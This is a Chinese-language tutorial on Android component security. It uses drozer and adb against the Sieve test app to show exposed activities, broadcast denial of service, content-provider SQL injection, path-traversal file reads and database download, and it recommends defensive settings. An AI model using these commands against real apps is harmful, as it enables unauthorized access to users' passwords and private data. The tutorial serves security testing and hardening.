Android中的組件安全漏洞介紹和檢測

第一部分 activity組件安全

首先我們介紹下我們常見的Android的activity組件:

Activity是Android四大組件之一,它用於展示界面。Activity是一個應用程序組件,提供一個屏幕,用戶可以用來交互爲了完成某項任務。Activity中所有操作都與用戶密切相關,是一個負責與用戶交互的組件,可以通過setContentView(View)來顯示指定控件。在一個android應用中,一個Activity通常就是一個單獨的屏幕,它上面可以顯示一些控件也可以監聽並處理用戶的事件做出響應。Activity之間通過Intent進行通信。

activity中的常見配置:

Lable屬性:
Activity頁面的標題,界面的名字,如果此界面被創建快捷方式,則快捷方式的名字就是lable值
Name屬性:
指定的值爲:包名.Activity類名。
包名如果與mainfest的package一致,可以用“.”代替。或者不寫
Intent-filter子節點:
添加意圖過濾,可以通過隱式意圖啓動。
可以在桌面生成快捷方式,應用程序的入口
Icon屬性:
指定應用程序的圖標
android:theme屬性:指定主題
android:theme="@android:style/Theme.Dialog"
android:exported
是否允許外部程序調用


下面就是我們再AndroidManifest.xml中定義的組件的常見形式。

        <activity
            android:name="com.xxx.helloworld.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

我們主要介紹的是activity通過exported屬性來對activity進行的安全控制。首先講下默認情況,如果activity沒有設置intent-filter,則exported默認的屬性爲false,就是這個組件僅僅能被自身內部程序調用。如果activity設置了intent-filter,則android:exported默認爲true。這時如果我們對這個值進行控制就會導致一系列安全問題。所以組件安全也主要針對配置了意圖過濾的組件。

這時我們把組件分爲公有組件和私有組件,公有組件就是activity組件可以被外部程序調用,私有組件就是不能被其他程序啓動或調用。因此在創建組件時,如果是私有的組件,android:exported屬性一律設置爲false.如果是公有的,就設置android:exported爲true。不管公有的還是私有的組件,處理接收的intent時都應該進行驗證的數據驗證。公有組件防止信息泄露和接收外部數據時進行嚴格的處理。如果對私有組件沒有進行相應的配置,可能導致組件被其他程序調用,敏感信息泄露,拒絕服務器攻擊和權限繞過等漏洞。


我們可以通過工具adb或drozer對其進行相應的檢測。

利用drozer獲取app的詳細信息

連接命令

在adb工具下的命令

adb forward tcp:31415 tcp:31415

drozer下使用命令進行連接

drozer console connect

list命令用以列出所有包含“example”的手機中已安裝package名稱,記住目標應用的完整名稱。

dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)

info命令用以通過完整名稱,獲取該package的詳細信息,比如data路徑、apk路徑、聲明的權限等等。
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/data/com.mwr.example.sieve
  APK Path: /data/app/com.mwr.example.sieve-1.apk
  UID: 10053
  GID: [1028, 1015, 3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS


attacksurface即攻擊面分析,分析Activity/Broadcast Receiver/Content Provider/Service的權限,即是否能被其他的的應用程序調用。

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable


通過run app.activity.info -a 路徑報名 分析出可以調用的activity組件
dz> run app.activity.info -a  com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null


這時我們可以通過run app.activity.start --component 路徑包名 路徑組件名 啓動它
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz>


使用adb啓動activity的命令如下:
D:\>adb shell am start -n com.mwr.example.sieve/com.mwr.example.sieve.PWList
Starting: Intent { cmp=com.mwr.example.sieve/.PWList }


安全使用

1.當activity組件爲私有組件時,建議設置exported的值爲false.
2.當activity組件爲公有組件時,建議對其進行權限控制。

第二部分 broadcast組件安全

broadcast組件介紹

在Android中,Broadcast是一種廣泛運用的在應用程序之間傳輸信息的機制。而BroadcastReceiver是對發送出來的Broadcast進行過濾接受並響應的一類組件。廣播接收者(BroadcastReceiver)用於接收廣播Intent的, 廣播Intent的發送是通過調用sendBroadcast/sendOrderedBroadcast來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收。

常見的靜態廣播定義示例;

<receiver android:name="com.xxx.smsreceiver.SMSReceiver">
    <intent-filter android:priority="1000">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

利用drozer獲取廣播和進行拒絕服務攻擊示例

查看暴露的廣播組件信息

dz> run  app.broadcast.info -a  com.xxx.activity
Package: com.xxx.activity
  com.xxx.lock.MyExitReceiver
    Permission: null
  com.xxx.lock.LockScreenReceiver
    Permission: null
  com.xxx.lock.LockScreenDeamonReceiver
    Permission: null

查看暴露的廣播組件詳細信息
dz> run app.broadcast.info -a com.package.name -i

dz> run app.broadcast.send --component 包名 --action android.intent.action.XXX

利用空actoin和空extras拒絕服務

#空action情況
 run app.broadcast.send --component  包名 廣播名
dz> run app.broadcast.send --component  com.xxx.activity com.xxx.lock.MyExitReceiver
dz> run app.broadcast.send --component  com.xxx.activity com.xxx.lock.LockScreenReceiver
#空extras情況
dz> run app.broadcast.send --action wisorg.intent.action.PUSH_MESSAGE


安全使用

1.如果應用的Broadcast Receiver組件是私有的,或者組件配置了intent filter標籤,建議顯示設置組件的“android:exported”屬性爲false
2.如果組件必須要接收外部應用發送的消息,建議對組件進行權限控制
3.如果組件要向外發送廣播,建議發廣播時添加參數聲明Receiver所需的權限,即只有接收這個廣播權限的才能接收這個廣播。


第三部分 ContentProvider

ContentProvider:內容提供者是應用程序之間共享數據的接口,使用ContentProvider共享數據的好處是統一了數據訪問方式。


ContentProvider的uri的解釋

content://com.xxx.provider/person/10
schema    主機名authority   path   id
schema:uri的協議 "content://"
主機名或授權Authority:定義了是哪個ContentProvider提供這些數據。
path:路徑,URI下的某一個item。
ID:通常定義Uri時使用”#”號佔位符代替, 使用時替換成對應的數字
content://com.xxx.provider/person/#:#表示數據id(#代表任意數字)
content://com.xxx.provider/person/*:*來匹配任意文本。


利用drozer操作ContentProvider

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
      Path: /Keys
        Type: PATTERN_LITERAL
        Read Permission: com.mwr.example.sieve.READ_KEYS
        Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False


獲取所有可以訪問的Uri

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords

對Passwords進行數據查看

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical


進行簡單的SQL注入檢查

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"
| _id | service | username | password | email |

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where 1=1; --"
| type  | name                   | tbl_name         | rootpage | sql
                                                                      |
| table | android_metadata       | android_metadata | 3        | CREATE TABLE android_meta
data (locale TEXT)                                                      |
| table | Passwords              | Passwords        | 4        | CREATE TABLE Passwords (_
id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key                    | Key              | 5        | CREATE TABLE Key (Passwor
d TEXT PRIMARY KEY,pin TEXT )                                           |
| index | sqlite_autoindex_Key_1 | Key              | 6        | null
                                                                        |


檢測sql注入和目錄遍歷
dz> run scanner.provider.injection -a com.mwr.example.sieve

dz> run scanner.provider.traversal -a com.mwr.example.sieve

遍歷下載文件
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sie
ve/databases/database.db /home/user/database.db


Content Provider文件目錄遍歷漏洞
漏洞位置
ContentProvider.openFile(Uri uri, String mode)
條件
1.對外暴漏的ContentProvidr實現openFile()接口,
2.沒有對uri進行有效判斷,如可以利用../更改uri實現任意文件訪問。


安全使用
1.將不必要到出的Content Provider中exported值設爲false.
2.使用openFile接口時對其uri進行嚴格驗證.
3.移除沒有必要的openFile()接口.
4.設置權限來進行內部應用(比如同公司應用)通過Content Provider的數據共享,如 使用簽名驗證來控制Content Provider共享數據的訪問權限:設置protectionLevel=”signature”.
5.如果必須要有數據提供給外部應用使用,建議對組件進行權限控制


第四部分 service服務

service介紹

很多情況下,一些與用戶很少需要產生交互的應用程序,我們一般讓它們在後臺運行就行了,而且在它們運行期間我們仍然能運行其他的應用。爲了處理這種後臺進程,Android引入了Service的概念。

利用dz進行開啓或者權限提升命令

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null


利用dz提升權限
dz> run app.service.start --action xxx --extra xxxx 

安全使用

1.如果應用的Service組件爲私有組件,建議設置exported屬性爲false
2.如果組件必須要提供給外部應用使用,建議對組件進行權限控制


參考連接

drozer安裝過程

http://blog.csdn.net/zsch591488385/article/details/38423627

組件安全

http://blog.csdn.net/u013107656/article/details/51889227

drozer工具下載


四大組件屬性介紹
http://blog.csdn.net/peng_cao/article/details/50747694#androidexported

權限的定義使用

http://blog.csdn.net/zhang31jian/article/details/38302633

http://blog.csdn.net/shineflowers/article/details/40426361

http://www.2cto.com/kf/201311/256177.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章